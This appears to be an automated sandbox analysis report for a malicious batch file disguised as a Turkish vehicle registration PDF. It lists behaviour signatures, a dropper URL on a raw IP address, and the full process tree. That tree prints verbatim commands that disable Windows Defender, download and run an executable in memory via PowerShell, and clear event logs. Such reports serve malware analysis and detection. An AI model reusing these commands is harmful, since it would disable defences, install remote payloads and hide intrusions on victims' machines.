Analysis

  • max time kernel
    298s
  • max time network
    153s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260911-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    02/11/2026, 02:54

General

  • Target
    RENAULT_MEGANE_Araç_Tescil_ve_Ruhsat_Bilgileri.PDF 2.bat
  • Size 4KB
  • Sample261102-deebksev8s
  • SHA256 286619cb4364f0e8acbf4cc16206669bcd829768db68609a3a414ca8b016d1f7
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • ps1.dropper

    http://74.208.93.179/tat.exe

  • exe.dropper

    http://74.208.93.179/tat.exe

Signatures

  • Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 1 IoCs
  • Modifies Windows Defender Real-time Protection settings 3 TTPs 4 IoCs
  • Modifies Windows Defender notification settings 3 TTPs 2 IoCs
  • Clears Windows event logs 1 TTPs 3 IoCs
  • Badlisted process makes network request 1 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Run Powershell and hide display window.

  • Disables service(s) 3 TTPs
  • Discovers running processes 1 TTPs 1 IoCs

    Running process information can be used to identify security tools or plan follow-on actions.

  • Launches sc.exe 1 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 1 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Delays execution with timeout.exe 1 IoCs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 9 IoCs
  • Suspicious use of WriteProcessMemory 17 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\RENAULT_MEGANE_Araç_Tescil_ve_Ruhsat_Bilgileri.PDF 2.bat"
    1⤵
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:2472
    • C:\Windows\system32\fsutil.exe
      fsutil dirty query C:
      2⤵
        PID:3540
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -NoP -NonI -W Hidden -Exec Bypass -Command "Set-MpPreference -DisableRealtimeMonitoring $true -EA 0;" "Set-MpPreference -DisableIOAVProtection $true -EA 0;" "Set-MpPreference -DisableBehaviorMonitoring $true -EA 0;" "Set-MpPreference -DisableScriptScanning $true -EA 0;" "Set-MpPreference -DisableArchiveScanning $true -EA 0;" "Set-MpPreference -DisableIntrusionPreventionSystem $true -EA 0;" "Add-MpPreference -ExclusionPath 'C:\' -EA 0;" "Add-MpPreference -ExclusionExtension '.exe' -EA 0;" "Add-MpPreference -ExclusionExtension '.bat' -EA 0;" "Add-MpPreference -ExclusionProcess 'svchost.exe' -EA 0"
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1760
      • C:\Windows\system32\reg.exe
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
        2⤵
        • Modifies Windows Defender DisableAntiSpyware settings
        PID:5012
      • C:\Windows\system32\reg.exe
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
        2⤵
        • Modifies Windows Defender Real-time Protection settings
        PID:3156
      • C:\Windows\system32\reg.exe
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d 1 /f
        2⤵
        • Modifies Windows Defender Real-time Protection settings
        PID:3804
      • C:\Windows\system32\reg.exe
        reg add "HKLM\SOFTWARE\Microsoft\Windows Defender Security Center\Notifications" /v "DisableEnhancedNotifications" /t REG_DWORD /d 1 /f
        2⤵
        • Modifies Windows Defender notification settings
        PID:624
      • C:\Windows\system32\net.exe
        net stop WinDefend
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:1736
        • C:\Windows\system32\net1.exe
          C:\Windows\system32\net1 stop WinDefend
          3⤵
            PID:4844
        • C:\Windows\system32\sc.exe
          sc config WinDefend start= disabled
          2⤵
          • Launches sc.exe
          PID:1940
        • C:\Windows\system32\curl.exe
          curl -s -L -k --max-time 10 "http://74.208.93.179/IMG-20260914-WA0001.jpg" -o "C:\Users\Admin\AppData\Local\Temp\ruhsat.jpg"
          2⤵
            PID:4748
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell -NoP -NonI -W Hidden -Exec Bypass -Command "$u='http://74.208.93.179/tat.exe';" "try{" " $b=(New-Object Net.WebClient).DownloadData($u);" " $asm=[Reflection.Assembly]::Load($b);" " $ep=$asm.EntryPoint;" " if($ep){$ep.Invoke($null,@($null))}" "}catch{}"
            2⤵
            • Badlisted process makes network request
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:3000
          • C:\Windows\system32\tasklist.exe
            tasklist /fi "imagename eq svchost.exe"
            2⤵
            • Discovers running processes
            • Suspicious use of AdjustPrivilegeToken
            PID:1320
          • C:\Windows\system32\find.exe
            find /i "svchost.exe"
            2⤵
              PID:4628
            • C:\Windows\system32\timeout.exe
              timeout /t 2 /nobreak
              2⤵
              • Delays execution with timeout.exe
              PID:2420
            • C:\Windows\system32\wevtutil.exe
              wevtutil cl System
              2⤵
              • Clears Windows event logs
              • Suspicious use of AdjustPrivilegeToken
              PID:2476
            • C:\Windows\system32\wevtutil.exe
              wevtutil cl Application
              2⤵
              • Clears Windows event logs
              • Suspicious use of AdjustPrivilegeToken
              PID:1040
            • C:\Windows\system32\wevtutil.exe
              wevtutil cl "Windows PowerShell"
              2⤵
              • Clears Windows event logs
              • Suspicious use of AdjustPrivilegeToken
              PID:4544

          Network

                MITRE ATT&CK Enterprise v16

                Replay Monitor

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                Downloads

                powershell.exe.log

                • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
                • Size 2KB
                • SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
                • MD5 SHA1 SHA512 TLSH

                StartupProfileData-NonInteractive

                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 948B
                • SHA256 046aeec67593eb980b0ccde584c3074e87316d4b35fba161ce8978ebf45908dc
                • MD5 SHA1 SHA512 TLSH

                __PSScriptPolicyTest_llrr4hxh.2pm.ps1

                • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_llrr4hxh.2pm.ps1
                • Size 60B
                • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                • MD5 SHA1 SHA512 TLSH

                ruhsat.jpg

                • Path C:\Users\Admin\AppData\Local\Temp\ruhsat.jpg
                • Size 299B
                • SHA256 69e282f6e0167c0f6f98a5dd547ae665d2602c09398565982657de141409c507
                • MD5 SHA1 SHA512 TLSH

                memory/1760-0-0x000001F170B00000-0x000001F170B10000-memory.dmp

                memory/1760-1-0x000001F170B00000-0x000001F170B10000-memory.dmp

                memory/1760-2-0x000001F171430000-0x000001F171452000-memory.dmp